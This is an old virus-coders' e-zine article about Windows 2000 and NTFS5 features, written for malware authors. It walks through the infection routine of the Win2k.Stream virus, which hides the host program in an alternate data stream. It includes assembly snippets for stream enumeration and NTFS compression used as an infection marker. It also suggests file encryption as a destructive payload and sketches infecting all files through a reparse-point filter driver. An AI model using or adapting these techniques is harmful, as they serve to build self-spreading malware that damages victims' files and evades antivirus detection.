Some Tipz & trix for Win2k
1. Introduction
I just wanted to write an article about NTFS5. But I am reading a lot of
documentation about Win2k and I found there many functions and sequences that
could be very usefull for us, virus coders. So i decided to write some tipz
and trix that anybody could use. I hope I succeeded.
btw It's my first english written article so pls be patient. My english sux
so if you don't know what something means, just contact me.
And now we can begin ...
2. NTFS5
I think you all expected this:) And i also read on virus.cyberspace.sk that
english version of my article for Igi is requested. I won't exactly translate
what i wrote there becoz it wasn't for coders. This will be :)
2.1. Streams
Streams is not a new feature of NTFS5 and it was implemented in NTFS since the
very beginning of WinNT(version 3.1) but it has been downplayed by Micro$oft.
In Win2k the position of Streams is much better. And there also exists the first
virus that uses Streams. It's of course mine and Benny's/29a Win2k.Stream. I
think ya all have heard about it becoz of big medial success. It's an very easy
and simple virus with a good idea I think. First we heard about Streams from a
man called GriYo/29a (heya and thx man!) on meeting in Brno. And then when Benny
came to me for some days we decided to write our first common virus (and my
first). It was really funny becoz we coded through the nite and very lately we
didn't even know what we are typing :) There also existed a version of
Win2k.Stream with polymorfic name of stream! But next day when we woke up and
talked about it in the pub we decided to write it as simple as possible. And I
think we succeeded - the comment is longer than the whole code XD.
First we'll look what Streams exactly are and then we'll talk more about our
virus.
On filesystems such as FAT, FAT32 and others exists only one unnamed stream.
What do ya think it is? Exactly! The file alone. But on NTFS there exist also
others (data) streams with a name. The name begins with ':' to indicate that it's
a named stream (part of file) and pastes together with filename (the unnamed
stream). Look at this:
We have a file file.txt. It is also the unnmed stream. We would like to create
a new stream within the file file.txt. We want to name it "RAT" for example. So
we simply add ':' before stream name and paste it to file name. So now we have
somewhere in the buffer this: "file.txt:RAT". And now there's nothing easier than
just use CreateFile(A|W) to create our stream. If creation succeed you will
get a handle that you can uses as it would be a normal file (it is exactly a normal
file ...).
Well we have a stream within the file but we forgot its name :) Any solution?
Yeah there is one. It's not so comfortable as it should be but there is. For
our needs we'll need a function called BackupRead that can be found in
kernel32.dll.
Look what MSDN says:
BOOL BackupRead(
HANDLE hFile, // handle to file or directory
LPBYTE lpBuffer, // read buffer
DWORD nNumberOfBytesToRead, // number of bytes to read
LPDWORD lpNumberOfBytesRead, // number of bytes read
BOOL bAbort, // termination type
BOOL bProcessSecurity, // process security options
LPVOID *lpContext // context information
);
For our purposes we can ignore such thingiez as security and context. hFile is
handle to file we want to enumerate streams. lpBuffer should point to a structure
called WIN32_STREAM_ID.
WIN32_STREAM_ID struc
DWORD dwStreamId;
DWORD dwStreamAttributes;
QWORD Size;
DWORD dwStreamNameSize;
WCHAR cStreamName[ANYSIZE_ARRAY];
WIN32_STREAM_ID ends
The first bytes of this structure represent the header of each stream. Then
begins the name of the stream and after the name there is the content of stream.
To enumerate all the streams, you just need to loop until BackupRead returns
False. Just look at the code snippet:
; in ebx - file handle to enumerate streams
enumerate_streams:
push offset lpcontext
push 0
push 0
@pushvar
push 20
push offset buffer
push ebx
call BackupRead ; read the stream header
xchg eax, ecx
jecxz end_enumerate_streams ; error ?
push offset lpcontext
push 0
push 0
@pushvar
push dword ptr [buffer+16] ; push stream_name_size
push offset buffer+20 ; stream_name_size store to buffer+
push ebx ; header_size
call BackupRead
xchg eax, ecx ; error ?
jecxz end_enumerate_streams
; Now we have in buffer+20 the stream_
; name in Unicode. Its length is
; [buffer+16] ...
push offset lpcontext ; becoz BackupRead loox at file and its
@pushvar ; streams as it would be on file we must
@pushvar ; seek after stream content.
push dword ptr [buffer+12]
push dword ptr [buffer+8]
push ebx
call BackupSeek
xchg eax, ecx ; error ?
jecxz end_enumerate_streams
jmp enumerate_streams ; go on with another stream_name ...
end_enumerate_streams:
Well i think that this is all you should know about streams for the beginning.
Just make some more coding with it and i think you will become more familiar
with it and you will use it in the future. Remember the words from Kaspersky/AVP:
Stream companion is a new breaktrough infection which is very hard to detect!
Just make some more wrinkles to AVers ...
2.1.1. Win2k.Stream
And now something more about our babe. After the execution tries to find via
FindFirst&FindNextFile find victimz to infect. It infectz only *.exe files in
current directory (there were no reasons to spread it). The infection worx as
follows:
first it chex if the file is compressed (viz. next chapter)
then it creates a temp file and copies the main stream to it
copies virus_body to main_victim_stream
moves tempfile to stream :STR
compresses the file
so after infection the file loox as this: (This are pictures from AVP :))
File before infection File after infection
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³°°°°°°°°°°°°°°°°°°°³ ³°°°°°°°°°°°°°°°°°°°³
³°°°°°°°°°°°°°°°°°°°³ ³°°° main stream°°°°³
³°°°°°°°°°°°°°°°°°°°³ ³°°° virus body°°°°°³
³°°°°main stream°°°°³ ³°°°°°°°°°°°°°°°°°°°³
³°°°°°°°°°°°°°°°°°°°³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³°°°°program body°°°³ ³°°°°°°°°°°°°°°°°°°°³
³°°°°°°°°°°°°°°°°°°°³ ³°additional stream°³
³°°°°°°°°°°°°°°°°°°°³ ³°°°°°° :STR °°°°°°°³
³°°°°°°°°°°°°°°°°°°°³ ³°°°°°°°°°°°°°°°°°°°³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³±±±±±±±±±±±±±±±±±±±³ ³±±±±±±±±±±±±±±±±±±±³
³±±service streams±±³ ³±±service streams±±³
³±±±±±±±±±±±±±±±±±±±³ ³±±±±±±±±±±±±±±±±±±±³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
then it tries to find next file etc. At the end it just runs via CreateProcess
the :STR stream where is victim_body. When the victim ends it just
invokes ExitProcess and ends. If any error occures it displays following text:
"Win2k.Stream by Benny/29A & Ratter"
"This cell has been infected by [Win2k.Stream] virus!"
and ends. This is also a payload on FAT, FAT32 and others filesystems that do
not support streams. And that's all. Simple ain't it?
2.2. Compression and encryption
We also as first used in our babe NTFS ability to compress files. It is
transparent for application so it is a great way how to reduce disk free space
decreasing after infection occures. If we want to compress file we must call
file_system driver via DeviceIoControl with the rite IoControlCode ... look
at this code snippet from Win2k.Stream and also from my Win2k.Purple (but
the first who did this was Benny/29a in his Win32.HIV. On our mini-meeting he
decided that we will use it in Win2k.Stream first ...)
FSCTL_SET_COMPRESSION equ 9 shl 16 or 3 shl 14 or 16 shl 2
xor eax,eax
push eax
@pushvar
push eax
push eax
push 4
@pushvar ;default compression
push FSCTL_SET_COMPRESSION
push ebx ;NTFS compress it =
call DeviceIoControl ;mark as already infected
; = and save disk space :)
and now what MSDN says:
BOOL DeviceIoControl(
(HANDLE) hDevice, // handle to file
FSCTL_GET_COMPRESSION, // dwIoControlCode operation
NULL, // lpInBuffer; must be NULL
0, // nInBufferSize; must be zero
(LPVOID) lpOutBuffer, // output buffer
(DWORD) nOutBufferSize, // size of output buffer
(LPDWORD) lpBytesReturned, // number of bytes returned
(LPOVERLAPPED) lpOverlapped // OVERLAPPED structure
);
I think that it is clear. And also simple to implement to your virus. Just do it!
Next thingie is Encryption. It can be easyly used by calling functions
EncryptFile and DecryptFile :). I think that it could be aplied as a payload
becoz if you encrypt on the machine with Win2k a file then only the user who
encrypted the file has access to the file. After encyption of some files there
can be very good chaos on the machine :)
BOOL EncryptFile(
LPCTSTR lpFileName // file name
);
BOOL DecryptFile(
LPCTSTR lpFileName, // file name
DWORD dwReserved // reserved; must be zero
);
I think i'm repeating myself but - easy to implement, easy to use ...
2.3. Sparse files
I dunno if anyone finds use for sparse files in virus coding but i found this
as a very nice feature of NTFS5 so i would like to talk about it here. Have you
ever imagined how much space must be wasted in databases in which most of the
file is null (free records)? A lot of :) And here comes a solution for such
applications. Sparse files. (sounds like a promote of M$ :)) We as programmers
can define where in the file lie such holes (with nulls) and say it to the
filesystem. Filesystem will just store to disk datas which by which we say that
are not null ... code snippet will show more:
BOOL DeviceIoControl(
(HANDLE) hDevice, // handle to a file
FSCTL_SET_SPARSE, // dwIoControlCode operation
NULL, // lpInBuffer; must be NULL
0, // nInBufferSize; must be zero
NULL, // lpOutBuffer; must be NULL
0, // nOutBufferSize; must be zero
(LPDWORD) lpBytesReturned, // number of bytes returned
(LPOVERLAPPED) lpOverlapped // OVERLAPPED structure
);
FSCTL_SET_SPARSE equ 9 shl 16 or 2 shl 14 or 49 shl 2
FILE_BEGIN equ 0
push 0
push 0
push CREATE_ALWAYS
push 0 ; create file SparseFile
push 0
push GENERIC_WRITE
@pushsz "SparseFile"
call CreateFileA
xchg eax, ebx
xor eax,eax
push eax
@pushvar
push eax
push eax
push eax
push eax ; Sign this file as a SparseFile
push FSCTL_SET_SPARSE
push ebx
call DeviceIoControl
push FILE_BEGIN
@pushvar
push 0 ; Move filepointer to 32GigaBytes
push ebx ; (hyea Gig :))
call SetFilePointer
push ebx ; SetEndOfFile ==
call SetEndOfFile ; fill with nulls to 32 gigz
push ebx
call CloseHandle
This code snippet will create a file which size is 32GB! But acutally the real
size is null :) Nice aint it ? And how to let the filesystem know that we have
sparse in our file? Here's a prototype of function that we can use ...
BOOL DeviceIoControl(
(HANDLE) hDevice, // handle to a file
FSCTL_SET_ZERO_DATA, // dwIoControlCode operation
(LPVOID) lpInBuffer, // pointer to FILE_ZERO_DATA_INFORMATION
(DWORD) nInBufferSize, // size of input buffer
NULL, // lpOutBuffer; must be NULL
0, // nOutBufferSize; must be zero
(LPDWORD) lpBytesReturned, // number of bytes returned
(LPOVERLAPPED) lpOverlapped // OVERLAPPED structure
typedef struct _FILE_ZERO_DATA_INFORMATION {
LARGE_INTEGER FileOffset;
LARGE_INTEGER BeyondFinalZero;
} FILE_ZERO_DATA_INFORMATION, *PFILE_ZERO_DATA_INFORMATION;
And that's all about sparse files for now ...
2.3. Reparse Points
This thingy is my little favourite :) What are reparse points? A reparse point
is a block of user defined data associated with a file or directory. The content
of that data knows aplication and file system driver (filter) which will filtrate
it. When NTFS wants to open a file and recognises that that file has a
reparse point it firstly tries to find a file system filter which belongs to that
reparse point (in it's structure is a tag ...). If succeeds then passes that
raw data (max 16KB) to that filter and what that driver does is on him.
The file system driver you install is on the top of file systems drivers. What
you intercept depends on you. Do you see it? You can do everything with that
file. You can infect files just by setting reparse point to it. You can change
some datas in that file, store it to reparse point and whenever the file is
opened you renew that content and on the file close you reinfect it. Without
your file system filter will be in the file broken content ... With this you
can infect !_all_! files! I must say that it is charming. But it has some
holes. We must find out how to spread the mother (file_system_driver). But firstly
we must create that mother :) This will be a little problem becoz we need
IFSkit (kit to write installable filesystem drivers) and M$ wants too much money
(for me ...) for it. If someone has it pls contact me. And it also needs some
more studying. But one time it will come :))
2.4. Mounting
To this theme is not so much to say. I think that most of ya know mounting from
various *nix systems such as Linux. If you want to set a volume point you will
need 3 functions.
GetVolumeNameForVolumeMountPoint, SetVolumeMountPoint and sometimes
DeleteVolumeMountPoint.
If you want documentation, lemme know. I'll give it to you.
Just one thing to mention. In *nixes is this feature implemented for 30 years.
Micro$oft implemented it now. That means 30 years hole between technologies??
Everyone must answer this question on his own :))
That's all for now about NTFS5. There's more to say in each of that themes I
was talking about in this article but i think it is enough for the beginning.
Just code and study and if you will have problems contact me. If I can help
you (==if I will know it) I will help you.
3. Job kernel object
You have problems while managing processes in your virus? Your virus uses IPC
and creates a lot of processes and you want and comfort way how to destroy them
all? In Win2k you can use a Job kernel object which lets you to group processes
together and create a sandbox that restricts what these processes are allowed
to do. Then you can destroy all the processes just by destroying the Job object.
Let's go deeper.
First you must create a job object. This can be done via CreateJobObject api fc.
HANDLE CreateJobObject(
LPSECURITY_ATTRIBUTES lpJobAttributes, // SD (can be null for our purposes)
LPCTSTR lpName // job name (if null then job is
); // a noname job :))
So now we have created a job and we have handle for it. Now we must assign some
process to it. Just use AssignProcessToJobObject ...
BOOL AssignProcessToJobObject(
HANDLE hJob, // handle to job
HANDLE hProcess // handle to process
);
Easy. Now we can place some restrictions to the processes within the job but
that's not so necessary for now. I promised terminating of all processes via one
api fc rite? Here it is ...
BOOL TerminateJobObject(
HANDLE hJob, // handle to job
UINT uExitCode // exit code
);
After calling this function with rite job handle will be all processes within
the job terminated.
4. Otherz
- in Win2k Toolhelp32 library is implemented. You can again use fc as
CreateToolhelp32Snapshot, Process32First etc. It is very usefull when
writing for Win9x and Win2k a per(multi)-process residency. In WinNT you
can use only EnumProcesses and EnumProcessModules from psapi until now.
These two functions weren't in Win9x so there were double code in viruses
for both operating systems.
- for easier access to registry you can use functions from Shell Light Weight
API (shlwapi.dll). These functions are:
SHDeleteEmptyKey
SHDeleteKey
SHDeleteValue
SHGetValue
SHSetValue
SHQueryValueEx
SHEnumKeyEx
SHEnumValue
SHQueryInfoKey
SHRegGetBoolIUSValue
e.g. to read a subkey, you had to open registry subkey, call RegQueryValueEx
and then close the registry key. SHGetValue does everything in one step.
- when you are infecting a file check it with SFCIsFileProtected which will tell
you whether the file is protected or not. (I'm writing an article about how to
fuck SFP and then it will be easier :))
- if you want to go to some system directories such as system32 etc. use
fc ExpandEnvironmentStrings which let you use environment variables. E.g.
until now you had to get windows directory and then paste system32. But now
you just use %system32% environment variable which you pass to Expand ... that
will return expanded path.
DWORD ExpandEnvironmentStrings(
LPCTSTR lpSrc, // string with environment variables
LPTSTR lpDst, // string with expanded strings
DWORD nSize // maximum characters in expanded string
);
5. End
I need rest !!!
If you aren't crazy after reading this article then you are not normal :)
For such people a little song:
Settle for nothing
A jail cell is freedom from the pain
in my home
Hatred passed on, passed on and
passed on
A world of violent rage
But it's one that I can recognize
Having never seen the color of my
father's eyes
Yes, I dwell in hell but it's a hell
that i can grip
I tried to grip my family
But I sliped
To escape from the pain and an
existence mundane
I gotta 9, a sign, a set and now I
gotta name
Read my writing on the wall
No one's here to catch me when I
fall
But death is on my side
Suicide!!!!!!
Read my writing on the wall
No one's here to catch me when I
fall
Caught between my culture and the
system
Genocide!!!!!!
Read my writing on the wall
No one's here to catch me when I
fall
If ignorance is bliss
Then knock the smile off my face
If we don't take action now
We settle for nothing later
We'll settle for nothing now
And we'll settle for nothing later
Do you know who sings this? It's my beloved song from my beloved group. If
you know name of that group tell it to me on #virus and you will get a prize.
(well still dunno what the prize will look like but you will :))
And that's all for now ... If you'll find any errors just contact me pls.
Thx for reading!
Ratter (ratter@atlas.cz) - I'm a stranger in the world i haven't made.